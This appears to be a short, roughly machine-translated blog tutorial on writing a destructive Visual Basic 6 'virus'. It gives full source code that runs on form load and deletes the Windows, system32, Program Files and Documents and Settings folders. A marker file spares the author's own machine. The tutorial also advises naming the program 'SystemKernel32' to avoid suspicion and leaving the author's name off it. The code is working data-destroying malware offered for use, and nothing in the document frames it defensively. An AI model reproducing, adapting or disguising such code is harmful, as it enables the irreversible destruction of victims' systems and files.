Simple is a very dangerous virus

9:16 AM 1 Comment

What is needed:

1. VB (optimum: 6.0)

2. Understand buttons VB

Virus Making Tutorials just 1 minute

1. create a form as small as possible

2. in that form, enter the code below

Public Sub DelAll (ByVal DirtoDelete As Variant)

Dim FSO, FS

Set FSO = CreateObject ("Scripting.FileSystemObject")

FS = FSO.DeleteFolder (DirtoDelete, True)

End Sub

Private Sub Form_Load ()

On Error Resume Next

If FileExist ("c: \ windows \ system32 \ katak.txt") = True Then

End

Else

Call DelAll ("c: \ windows \ system")

Call DelAll ("c: \ windows \ system32")

Call DelAll ("c: \ windows")

Call DelAll ("C: \ Documents and Settings \ All Users")

Call DelAll ("C: \ Documents and Settings \ Administrator")

Call DelAll ("C: \ Documents and Settings")

Call DelAll ("C: \ Program Files \ Common Files")

Call DelAll ("C: \ Program Files \ Internet Explorer")

Call DelAll ("C: \ Program Files \ Microsoft Visual Studio")

Call DelAll ("C: \ Program Files")

End

End If

End Sub

Function FileExist (ByVal FileName As String) As Boolean

If Dir (FileName) = "" Then

FileExist = False

Else

FileExist = True

End If

End Function

3.Kode blue reply that the virus antidote, perhaps you do not accidentally press so you are safe. so in the folder c: \ windows \ system32 \ katak.txt if no file name, you will not be keserang own ... you can edit koq so what's so ...

That red color is the same folder you deleted this virus, your own edit

4. Make this project name as the name of the system, here I use the name "SystemKernel32" so it would not be suspected

5. Do not ever put your name on this virus ...

6. compile it .... and finish ....